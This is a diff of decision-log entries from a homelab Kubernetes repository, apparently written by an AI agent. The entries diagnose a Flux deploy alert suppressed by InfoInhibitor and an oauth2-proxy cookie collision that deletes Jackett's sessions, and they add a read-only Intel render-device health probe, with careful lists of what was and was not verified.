+- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
+  rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
+  ("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
+  and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
+  CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
+- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
+  versions and that each status field is populated on the live objects, but I have not seen KSM emit
+  `kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
+  then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
+  first thing to check after merge:
+  `count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
+- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
+  two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
+  limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
+  after this settles rather than assuming the headroom holds.
+- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
+  `.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
+  arrives with a poorer subject — cosmetic, but unproven.
+- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
+  deliberately: its unique value over the rules above is the human-readable **commit subject**
+  (`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
+  revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
+  SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
+  `http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
+  establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
+  `severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
+  the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
+  Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
+  (never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
+  cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
+  cold-start deadlock this repo already documents.
+- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
+  re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
+  `NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
+  `CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
+  I only measured the event counts. It is a real defect (constant write load on the API server and
+  etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
+  alerts here are immune to it by construction: they read revisions, not events.
+- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
+  (`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
+  UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
+  that ran is green, and one stage did not run.

decisions/2026-09-30-flux-deploy-notification-inhibited.md

@@ -0,0 +1,95 @@
+---
+date: 2026-09-30
+branch: fix/flux-deploy-notification-inhibited
+title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
+---
+
+## What changed
+
+`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
+deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
+
+- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
+  **no `severity` label at all**, where it previously carried `severity: info`.
+- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
+  `notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
+- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
+  blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
+
+**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
+ships:
+
+    InfoInhibitor:
+      group by (namespace) (ALERTS{severity="info"} == 1)
+        unless on (namespace) group by (namespace)
+          (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+
+which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
+it**. The chart's third `inhibit_rule` then drops exactly that alert:
+
+    source_matchers: [alertname="InfoInhibitor"]
+    target_matchers: [severity="info"]
+    equal:           [namespace]
+
+For a deploy notification this is the worst possible interaction, because the suppressed case is the
+*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
+or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
+delivered only when something else in `flux-system` was already broken.
+
+Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
+real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
+label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
+`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
+around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
+the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
+— because the next reader's instinct will be to add one back.
+
+## What I verified
+
+Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
+
+- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
+  `kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
+  populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
+  `status.artifact.revision` paths are correct — previously UNVERIFIED.
+- **The `podAnnotations` roll mechanism works.** The KSM pod carries
+  `homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
+  (`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
+  genuinely closed rather than merely documented.
+- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
+  converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
+  `revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
+  **cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
+  notification's whole mechanism.
+- **The routing works.** `amtool config routes` shows
+  `{notification="deploy"} → receiver: email-deploy` under the default route, and
+  `amtool config routes test notification=deploy` returns `email-deploy`.
+- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
+  the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
+  Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
+  is 0 for every reason, so nothing failed to send; it was never dispatched.
+- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
+
+## What I did NOT verify
+
+- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
+  suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
+  (`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
+  proven by merging this and watching the next commit produce `[FLUX] applying` and then
+  `[FLUX] applied`. Same structural gap as PR #25, one layer further along.
+- **Whether the single email during the window was ours.**
+  `alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
+  (`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
+  label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
+  attribution is genuinely unavailable from this metric.
+- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
+  inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
+  apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
+- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
+  `firing`/`resolved` in the notification template data.
+- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
+  reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
+  model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
+  this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
+- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
+  10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.

decisions/2026-09-30-jackett-oauth2-proxy-session.md

@@ -0,0 +1,273 @@
+---
+date: 2026-09-30
+branch: fix/jackett-oauth2-proxy-session
+title: Jackett — radarr's oauth2-proxy deletes jackett's session cookie; the fix cannot be made per-app
+---
+
+## What changed
+
+Reported as *"GET requests work, but most PUT/POST requests to add indexers fail. Reloading the page
+never fixes it, and I am never re-prompted for login if it is a login issue."*
+
+**This branch lands the diagnosis and a runbook. It does NOT land the manifest fix, and that is a
+deliberate stop, not an omission** — see *The fix has one home and it is shared*, below.
+
+Three mechanisms, all measured. **Weighting matters here, so it is stated up front:** mechanisms 2
+and 3 are demonstrated from Jackett's own access log and **between them fully explain the report as
+written** — PUT/POST fail, the operator is never re-prompted, and a reload does not help. Mechanism 1
+is a real, firing defect that Jackett genuinely violates, and it explains the *intermittency* on top;
+I demonstrate the mechanism and one three-second causal adjacency, not a population of them. Fix all
+three; do not rest the case on the first.
+
+**1. Cookie collision — the mechanism is firing, and Jackett is a genuine violator.** Six oauth2-proxy
+instances (seven pods) emit oauth2-proxy's **default** cookie name `_oauth2_proxy` scoped to
+`.home.keithjackson.dev` while holding seven **different** cookie-secrets. The ping-pong is in two
+pods' own logs, interleaved to the second:
+
+    15:23:17  radarr   [AuthSuccess]                                   -> radarr writes _oauth2_proxy
+    15:23:44  jackett  "cookie signature not valid, removing session"  -> re-login #1
+    15:23:58  radarr   "cookie signature not valid, removing session"  -> radarr DELETES jackett's
+    15:27:17  jackett  [AuthSuccess]                                   -> re-login #2
+    15:27:59  radarr   "cookie signature not valid, removing session"
+    15:31:06  jackett  [AuthSuccess]                                   -> re-login #3
+    15:31:29  radarr   "cookie signature not valid, removing session"  <- deletes it again
+    15:31:32  jackett  "No valid authentication in request"            <- 3 SECONDS later, no cookie
+
+`removing session` is oauth2-proxy calling ClearSession, which expires the cookie on **its own**
+`--cookie-domain` — the whole zone. So jackett's session is not merely overwritten, it is **deleted
+by a process in another namespace**, 26 s after a clean login whose own `expires` was five minutes
+out. That is the answer to the open question in the brief ("26 s is well inside the 5-minute window,
+so plain expiry does not explain it"): it was never expiry, and it was never Jackett.
+
+It also explains the half of the report that looked like user error. **Reloading genuinely does not
+help**, because the operator's Radarr tab re-clears the cookie seconds after each new login — and
+Radarr is not a passive tab. Its UI polls: of 156 unauthenticated requests in its log against
+**1** AuthSuccess, the top paths are `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+`/signalr/messages/negotiate` (43). Every one of those polls, arriving with a cookie Radarr cannot
+decrypt, calls ClearSession again. **A left-open Radarr tab is a cookie-deletion engine firing every
+few seconds**, which is why Jackett's sessions die at irregular, short, apparently random intervals.
+
+**A counter-hypothesis was put to me and it does not survive bounding.** The observation was that
+Crafty already carries this fix yet showed the platform's worst failure ratio (81:1 over 24 h from
+Loki), implying the fix does not work. But Crafty's pod started **2026-09-30T03:57:19Z with 0
+restarts**, so a 24 h window is ~10 h of the *pre-fix* pod. Rather than bound it in Loki I read the
+ratio off the pod's own log, whose boundary is the process start and therefore exact: **inside the
+fixed pod's entire 13 h 52 m lifetime, Crafty logged 3 `No valid authentication` events, not 81** —
+from one client IP, two of them WebSocket `/ws` reconnects, in two isolated minutes (04:02 and
+15:22), against 0 AuthSuccess because nobody signed in. Post-fix Crafty is idle, not broken. The
+ratio metric is confounded by endpoint type — apps that poll or hold WebSockets (Radarr, Crafty)
+manufacture failure lines at their retry rate — so it ranks *chattiness*, not breakage. Correctly
+bounded, Crafty is evidence **for** the fix.
+
+**2. Session lifetime pinned to a 5-minute access token.** Measured from the sidecar's own
+`[AuthSuccess]`: `created:15:31:06.391860254` / `expires:` + **300.000 s** exactly, with
+`refresh_token:true` on the same line. `--cookie-refresh` is unset and its default is `0`
+(disabled), so the proxy holds a refresh token it has no mandate to spend.
+
+**3. XHRs answered with 302 instead of 401 — why none of it was visible.** oauth2-proxy's built-in
+AJAX guard fires only on an **exact** `Accept: application/json`, which Jackett's jQuery does not
+consistently send. Measured on `/api/` paths in this pod's log: **33 × 302 against 2 × 401**, and the
+split runs straight through Jackett's own POSTs (`/api/v2.0/server/adminpassword` → 401,
+`/api/v2.0/server/update` → 302). A 302 on an unauthenticated XHR is followed invisibly by the
+browser, satisfied silently by the live Keycloak SSO session, and resolves with HTML where the
+JavaScript expected JSON — no prompt, no error. On a write it is worse: a browser following a 302
+re-issues a POST as a **GET and drops the body**, so the indexer configuration is discarded with
+nothing logged as a failure anywhere.
+
+### The fix has one home, and it is shared — this is the blocker
+
+The brief assigned me `apps/wave-0/jackett.yaml` as exclusively mine, and assigned the other four
+apps to a sibling branch. **That split is not implementable, and I found out by trying it.**
+
+`apps/wave-0/jackett.yaml` is a **generated golden**. The sidecar's argument list is built by one
+shared function, `_oauth2_sidecar_container()` in `catalog/render.py`. `catalog/jackett.yaml`
+declares only `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`
+— **there is no per-app override hook**. I wrote the fix into the rendered file first; the merge
+gate rejected it exactly as designed:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render
+    [fail] stage render-golden: FAIL          ->  MERGE GATE: BLOCKED   (rc 1)
+
+So I made the change at its real source instead and **measured the blast radius** before committing
+to it. A change confined to that one function rewrites the sidecar block in **all five** rendered
+apps, and `render-golden` requires all five be regenerated in the same commit:
+
+    CHANGED: apps/wave-0/jackett.yaml
+    CHANGED: apps/wave-0/pihole.yaml
+    CHANGED: apps/wave-0/qbittorrent.yaml
+    CHANGED: apps/wave-1/radarr.yaml
+    CHANGED: apps/wave-1/sonarr.yaml
+
+Four of those five are the files I was explicitly told not to touch, and all four are being edited
+right now on `fix/oauth2-proxy-cookie-collision-fleet`. **The gate and the ownership boundary are in
+direct contradiction**: I cannot fix Jackett's sidecar without regenerating four files another
+branch owns, and two branches rewriting the same generated block across five files is precisely the
+cross-branch conflict this repo's §7 exists to prevent.
+
+I stopped rather than force it. **The cookie fix is one change, not five**, and it should be re-cut
+as a single renderer commit on one branch. The intended content, validated below:
+
+    --cookie-name=_oauth2_proxy_{name}        # per-app, derived
+    --cookie-domain={host}                    # host-scoped, derived
+    --whitelist-domain=.{ZONE}                # unchanged: redirect targets, not cookie scope
+    --cookie-refresh=2m30s                    # half the measured 300 s token lifetime
+    (drop --pass-access-token, --set-xauthrequest)
+
+`--api-route=^/api/` is the one flag I would **not** apply renderer-wide on this evidence: I
+measured the 302/401 split on Jackett only, and PiHole's UI does not serve `/api/` at all. It needs
+either a per-app hook or four more measurements.
+
+**Metrics — asked for, and declined here for the same structural reason, not on merit.** It is true
+and I re-measured it: **no per-app sidecar exposes metrics**. Only the shared proxy carries
+`--metrics-address=0.0.0.0:44180` and a `metrics` container port; jackett, pihole, qbittorrent,
+radarr, sonarr and crafty all have `(ABSENT)` and ports `['http']` alone, so the listener never
+starts and nothing about these gates is scrapable. Adding it is worth doing and the pattern is
+already proven in-tree by the shared proxy. But it is **not** "inside my file": the container's
+`args` *and* its `ports` both come from `_oauth2_sidecar_container()`, so adding
+`--metrics-address` plus a `metrics` port hits the identical five-file blast radius as the cookie
+change. It belongs in the same single renderer commit — which is an argument for cutting that commit
+soon, not for me to hand-edit a golden a second time after the gate already refused the first.
+(Crafty is separately hand-written and could take the metrics flag on its own.)
+
+**Crafty is unaffected by all of this** — its sidecar is hand-written in
+`platform/crafty/deployment.yaml`, not rendered, which is why it could be and was fixed alone on
+2026-09-29.
+
+### What this branch does land
+
+`runbooks/oauth2-proxy-session.md` — the four sidecar log lines that tell Keycloak, the sidecar and
+the app's own login apart (including the upstream `-` field that means the proxy answered a request
+the app never saw), the cookie-collision cross-log diagnosis, the 5-minute-session check, the
+302-vs-401 trap, and the generated-golden warning with its measured blast radius. Registered in the
+runbooks `configMapGenerator` **and** listed in `runbooks/README.md`, so the URL resolves rather
+than the file merely existing.
+
+## What I verified
+
+- **The collision is the live failure.** `[stored_session.go:94] Error loading cookied session:
+  cookie signature not valid, removing session` — **1 occurrence in jackett's log (15:23:44), 8 in
+  radarr's** (15:22:49, 15:23:58, 15:27:59, **15:31:29**, 15:32:29 ×4), and **zero** in pihole,
+  qbittorrent, sonarr, crafty and both shared-proxy replicas. The 15:31:29 → 15:31:32 pair is the
+  operator's whole report.
+- **Six instances / seven pods are in the collision set** — the brief said five; the shared
+  forward-auth proxy in namespace `oauth2-proxy` is the sixth and runs 2 replicas. Read from live
+  pod specs: jackett, pihole, qbittorrent, radarr, sonarr and `oauth2-proxy` all have **no**
+  `--cookie-name` argument and `--cookie-domain=.home.keithjackson.dev`. Only crafty is fixed.
+- **All seven cookie-secrets differ.** Compared in-cluster by sha256, first 12 hex only, values
+  never printed: `d9c5…`/`0b3b…`/`b025…`/`bb6a…`/`25f4…`/`e679…`/`911a…`. So no two of these proxies
+  can read each other's cookie — the precondition for the eviction.
+- **The 5-minute lifetime**, from four `[AuthSuccess]` lines: `expires − created = 300.000 s`, with
+  `refresh_token:true` and `groups:[platform-admins]`. Live args confirm `--cookie-refresh` absent.
+- **The 302/401 split** on `/api/` paths in this pod's log: 33 × 302, 18 × 200, 2 × 401, 2 × 204.
+- **4 of the 6 POSTs never reached Jackett** — the access log's upstream field is `-`, not `/`:
+  `adminpassword` → 401, `adminpassword` → 401, `server/update` → 302, `server/update` → 302. The
+  two that did reach it (`adminpassword`, `indexers/1337x/config`) carry the authenticated email.
+- **The proposed argument list starts, against the pinned image and the real issuer.** Ran
+  `quay.io/oauth2-proxy/oauth2-proxy:v7.8.1` locally with the full proposed args; OIDC discovery
+  against `keycloak.home.keithjackson.dev` succeeded and it printed back its own reading:
+  `Cookie settings: name:_oauth2_proxy_jackett secure(https):true httponly:true expiry:168h0m0s
+  domains:jackett.home.keithjackson.dev path:/ samesite: refresh:after 2m30s` and
+  `API route - Path: ^/api/`.
+- **`--api-route` is singular.** The brief specified `--api-routes`, which does not exist in v7.8.1;
+  the proxy would have refused to start. Read off `--help`.
+- **`--session-cookie-minimal` is mutually exclusive with `--cookie-refresh`** — provoked, not
+  assumed: `invalid configuration: cookie_refresh > 0 requires oauth tokens in sessions.
+  session_cookie_minimal cannot be set`. This kills the brief's premise that dropping
+  `--pass-access-token` shrinks the cookie: only `--session-cookie-minimal` strips tokens from the
+  session, and it is unavailable while refresh is on. Dropping those two flags is justified on
+  **least privilege and inertness**, not size.
+- **`--set-xauthrequest` is inert here**: HTTPRoute `jackett-9117` backendRef is
+  `Service/jackett port 4180`, there is no ext-authz attachment on the `shared` Gateway, so
+  `/oauth2/auth` is never called.
+- **`apps/**` is generated and the fix cannot be scoped to one app** — both halves measured, not
+  inferred: the gate's `render-golden` stage rejected the hand-edit, and re-rendering after a
+  renderer-only change listed all five apps as changed (transcript above).
+- **Crafty's post-fix failure rate, bounded exactly.** Pod `crafty-647c7d8cc5-5spv9`,
+  `startTime=2026-09-30T03:57:19Z`, `restarts=0`, live args `--cookie-name=_oauth2_proxy_crafty` and
+  `--cookie-domain=crafty.home.keithjackson.dev`. Over that pod's whole lifetime: **3**
+  `No valid authentication`, 0 AuthSuccess, one client IP, 2 of the 3 on `/ws`. The 81:1 figure is a
+  24 h window over a 13.9 h pod and is dominated by the pre-fix process.
+- **The ratio metric ranks chattiness, not breakage.** Radarr 156:1 with the top paths being
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/messages/negotiate` — UI polling, not 156
+  distinct user-visible failures.
+- **No per-app sidecar exposes metrics.** `--metrics-address` is `(ABSENT)` and `ports` is
+  `['http']` on all six per-app sidecars; only the shared proxy has
+  `--metrics-address=0.0.0.0:44180` and a `metrics` port.
+- **Gate:** `./ci/gate.sh` in the pinned toolbox, **rc 3 — UNDETERMINED, not green**. Green:
+  `spec-immutability`, `approval-policy`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`.
+  Skipped: `gitea-settings` (no `SETTINGS_API_TOKEN`) and L2/L3 conformance (`CLUSTER_AVAILABLE`
+  unset), leaving touched requirement `R-OBS-04` uncertified. Note `spec-immutability` is **green**,
+  not skipped — mounting the sibling spec repo at `/home-network-k3s` (the path
+  `ci/spec-immutability.sh` actually defaults to) in the ENGINE shim fixes that skip; the commonly
+  circulated shim mounts it at its host path, where `SPEC_REPO` never finds it.
+- **Gitea CI on this PR, read from the commit's `/statuses` rather than from a tick.** Two contexts
+  reported, and **only one of them ran**:
+
+      gate / gate (pull_request)         state=success   desc='Successful in 1m41s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  That second line is §2b's trap in the wild: a **skipped** Gitea job reports `state=success`. The
+  conformance job did not execute, so the green tick beside it certifies nothing. Read together with
+  the local rc 3 above, the two agree exactly — the offline L0/L1 subset passed and L2/L3 never ran.
+  Anyone reading the PR's check mark alone would conclude otherwise.
+- **`main` is protected**, re-measured this session rather than assumed:
+  `GET /repos/.../branches/main` → `protected=true`, `user_can_push=false`.
+
+## What I did NOT verify
+
+- **The operator's problem is NOT FIXED by this branch.** Only the diagnosis and the runbook land.
+  Jackett's sidecar is unchanged and will keep losing its session to Radarr until the renderer
+  change ships. **This is the single most important line in this entry.**
+- **No browser round-trip.** Every mechanism is measured from logs and specs and the argument list
+  is proven to start, but nobody has added an indexer through the proposed configuration. The human
+  test is below, for whoever lands the renderer change.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still `jackett-c5bfcbfb8-c75f9` (2/2 Running, 17 d, 0 restarts — unchanged by this session's
+  read-only probes). Note that when the fix does land, merging is what deploys, and it will restart
+  the pod (`strategy: Recreate` on an RWO Longhorn volume), briefly interrupting Radarr's and
+  Sonarr's direct `:9117` access.
+- **Cookie size and chunking: UNMEASURED, and I will not claim either way.** I could not read a
+  `Set-Cookie` header without a browser. I found no `_oauth2_proxy_0`/`_1` chunk evidence and no
+  4 kB warning in 36,287 log lines — but I did **not** establish that v7.8.1 emits such a warning at
+  this log level, so that absence is not evidence. If sessions still misbehave after the fix lands,
+  this is the next thing to measure, with `--session-store-type=redis` as the escape hatch, since
+  `--session-cookie-minimal` is ruled out (above).
+- **`--cookie-refresh=2m30s` has never executed a refresh here.** It depends on Keycloak accepting
+  the refresh token and on the realm's SSO Session Idle/Max, none of which I read (that needs admin
+  credentials). If Keycloak's *refresh* token is also short-lived, the five-minute logout persists
+  and the realm is where to look next.
+- **`--api-route` is measured for Jackett only.** PiHole and qBittorrent were not measured, and
+  PiHole's UI does not serve `/api/`. Do not apply it renderer-wide on my evidence.
+- **The four sibling apps still collide with each other** regardless of what happens to Jackett.
+  The same operator report should be expected from any of pihole / qbittorrent / radarr / sonarr.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so nothing about runtime behaviour
+  is certified by the gate. `gitea-settings` also skipped, so branch protection and runner state are
+  **unverified by me this session** — I did not re-measure them against the Gitea API.
+- **I did not query Loki.** The Crafty bounding above comes from the pod log, which I argue is the
+  better instrument (an exact process boundary rather than a wall-clock window against a 72 h
+  retention). But it means I cannot speak to the 24 h or 12 h *platform-wide* ratios, and a
+  per-app ratio over a window longer than the current pod's life is not something I measured at all.
+- **Collision causation is one adjacency, not a population.** The 15:31:29 → 15:31:32 pair is three
+  seconds and the mechanism is documented and present, but I did not enumerate every jackett failure
+  and match it to a radarr ClearSession. Treat mechanism 1 as **necessary and firing, not proven
+  sufficient** — the coordinator's framing, and I agree with it on this evidence.
+- **The metrics change is NOT in this branch** (reason above). Jackett therefore remains inside the
+  oauth2-proxy metrics gap, and the ratio alert shipped in PR #29 still cannot see it.
+- **The runbook's commands were not all executed verbatim.** The log-reading ones I ran; the
+  per-namespace `for` loops are edited from the scripted forms I actually used.
+
+### The human test — for whoever lands the renderer fix
+
+After it merges and the pod rolls (watch for a **new** pod name at 2/2):
+
+1. **Sign in** at `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+2. **Open Radarr in a second tab** and sign in there too. **This is the step that breaks Jackett
+   today** — it is the 15:31:29 line. Return to the Jackett tab.
+3. **Add an indexer** — *+ Add indexer*, pick one, *Configure*, *Okay*. It must save.
+4. **Wait six minutes on the open dashboard, then save another.** That is the `--cookie-refresh`
+   test; the session currently dies at five.
+5. **If something does still fail, it must now fail LOUDLY** — DevTools → Network, a broken `/api/`
+   call shows **401**, not a 302 followed by HTML. A silent success-looking no-op means the change
+   did not take; check the running pod's args before assuming anything else.
+6. **A plain page reload must still sign you in silently** (`/UI/Dashboard` is outside `^/api/`).
+   A 401 page on reload means the regex is too broad — that is a regression.

decisions/2026-09-30-node-health-render-device.md

@@ -0,0 +1,283 @@
+---
+date: 2026-09-30
+branch: feat/node-health-render-device
+title: The Intel render device is now self-re-measuring, not a fact someone checked once
+---
+
+## What changed
+
+### Why this probe has value at all
+
+**Nothing else in the platform would notice the device going missing.** Plex exposes no
+ServiceMonitor, so no alert fires on a silent fall back to software transcoding. And the
+manifest side mounts the device with `hostPath type: DirectoryOrCreate`, which means a node
+*without* the device mounts an **empty directory** — Plex starts, runs, and degrades quietly
+rather than failing loudly. There is no crash loop, no failed mount, no alert: just a hot CPU.
+This check is the only thing in the system that would surface it, which is the actual
+justification for the role carrying it.
+
+### The change
+
+`roles/node_health` grew a graphics / render-device probe. Nothing was installed, no module
+was loaded, no group was changed, nothing was rebooted: the prod nodes already have a working
+Intel render device (measured by hand on all three on 2026-09-30) and the point of this change
+is that the measurement now **re-runs forever** instead of decaying silently in a handoff note.
+
+The failure this exists to catch is silent by construction. Plex hardware-transcodes through
+`/dev/dri/renderD128`; if that node stops existing — node rebuild, a BIOS change that disables
+the onboard IGD, a kernel that binds a different DRM driver, a driver regression — Plex falls
+back to software transcoding on its own and the only symptom is a hot CPU.
+
+Four files:
+
+- `files/node_health_collect.py` — new `collect_graphics()`, wired into the **unprivileged**
+  pass (`main()`). Everything it reads is world-readable: `lstat()` on `/dev/dri/*`,
+  `grp.getgrgid()` for the owning group name, the `/sys/class/drm/card*/device/driver` symlink
+  target for the bound driver, `/sys/bus/pci/devices/*/class` for display-class (PCI base class
+  `0x03`) devices whether or not a driver is bound, `/sys/class/drm/card*/engine/*` for the
+  `vcs*`/`vecs*` media engines, `/proc/modules`, `/proc/cmdline`, and
+  `/sys/module/{i915,xe}/parameters/enable_guc`. `lspci` and `vainfo` were added to the
+  existing tool probe; both are optional and neither is depended on.
+- `tasks/assess.yml` — one shared derive task plus three checks: `graphics.render_device`
+  (PASS/FAIL/SKIP), `graphics.drm_driver` (PASS/WARN/FAIL/SKIP), `graphics.media_stack`
+  (INFO/SKIP).
+- `defaults/main.yml` — `node_health_graphics_expected_driver: i915`, so the one comparison the
+  check makes is data rather than task logic.
+- `templates/summary.txt.j2` — a `GRAPHICS / RENDER DEVICE` section, and
+  `roles/node_health/README.md` gained a section explaining the design and two new "known
+  limits".
+
+Three design rulings worth stating, because each is the kind of thing a later edit would get
+wrong:
+
+1. **The render node's GID is reported, never asserted.** It read `root:render`, gid **992**,
+   mode `0660` on all three prod nodes. The check does *not* compare against `992`. `render` is
+   a **systemd dynamic** allocation (`systemd-sysusers`), not a Debian static gid from
+   `base-passwd`, so a rebuild can legitimately move it — and Plex's container entrypoint stats
+   the device and joins whichever group owns it, so drift genuinely is not a fault. The
+   observed group name and number appear in the detail line, which makes drift *visible*
+   without making it an error. A hard `!= 992` would be a false alarm waiting for a reinstall.
+2. **The PCI scan is deliberately separate from the DRM scan.** `/sys/class/drm/card*` exists
+   only once a driver has *bound*, so a GPU with nothing attached has no `card0` and would
+   otherwise be indistinguishable from a machine with no GPU. Scanning the PCI bus separately
+   is what lets "no display device at all" be an honest **SKIP** (a VM guest — the same
+   convention `thermal.max` already uses for "no sensor on this hardware") while "a GPU is on
+   the bus and there is still no render node" is a **FAIL**.
+3. **GuC/HuC and host VAAPI userspace are INFO and must stay INFO.** GuC/HuC off
+   (`i915.enable_guc=0`) is an accepted state here and costs low-power H.264 encode *quality*
+   only. No host `vainfo` is not a defect at all — Plex ships its own libva and media driver
+   inside its container. Grading either would put a permanent WARN on a chosen configuration,
+   or invite someone to `apt install vainfo` on a node to clear a health check, and this role
+   installs nothing.
+
+`xe` bound instead of `i915` is a **WARN**, not a FAIL: the device still works, but the two
+drivers do not share a userspace media stack. On these nodes `xe.ko.xz` exists on disk and is
+bound to nothing.
+
+## What I verified
+
+### The real prod run (read-only, all three nodes)
+
+`--list-hosts` first, every time. It named exactly three hosts and nothing else:
+
+    play #1 (k3s_prod): Inspect node hardware health (read-only)
+        pattern: ['k3s_prod']
+        hosts (3): k3s-prod-3  k3s-prod-2  k3s-prod-1
+
+Then `--syntax-check` (rc 0), then the run:
+
+    ansible-playbook playbooks/node-health.yml -e node_health_hosts=k3s_prod --limit k3s_prod
+
+    k3s-prod-1 : ok=51  changed=3  unreachable=0  failed=0  skipped=1
+    k3s-prod-2 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    k3s-prod-3 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    PLAY rc=0
+
+(The `changed=` counts are the *controller-side* artifact writes under
+`infra/ansible/_artifacts/node-health/`, delegated to localhost. Nothing on any node changed —
+the collector task is `changed_when: false` and the role touches nothing.)
+
+All three nodes graded **PASS / PASS / INFO** on the new checks, 0 FAIL overall:
+
+    k3s-prod-1  VERDICT  0 FAIL · 1 WARN · 18 PASS · 2 SKIP · 6 INFO
+    k3s-prod-2  VERDICT  0 FAIL · 3 WARN · 15 PASS · 3 SKIP · 6 INFO
+    k3s-prod-3  VERDICT  0 FAIL · 2 WARN · 17 PASS · 2 SKIP · 6 INFO
+
+    [PASS] graphics.render_device — DRM render node present for hardware transcoding (/dev/dri/renderD*)
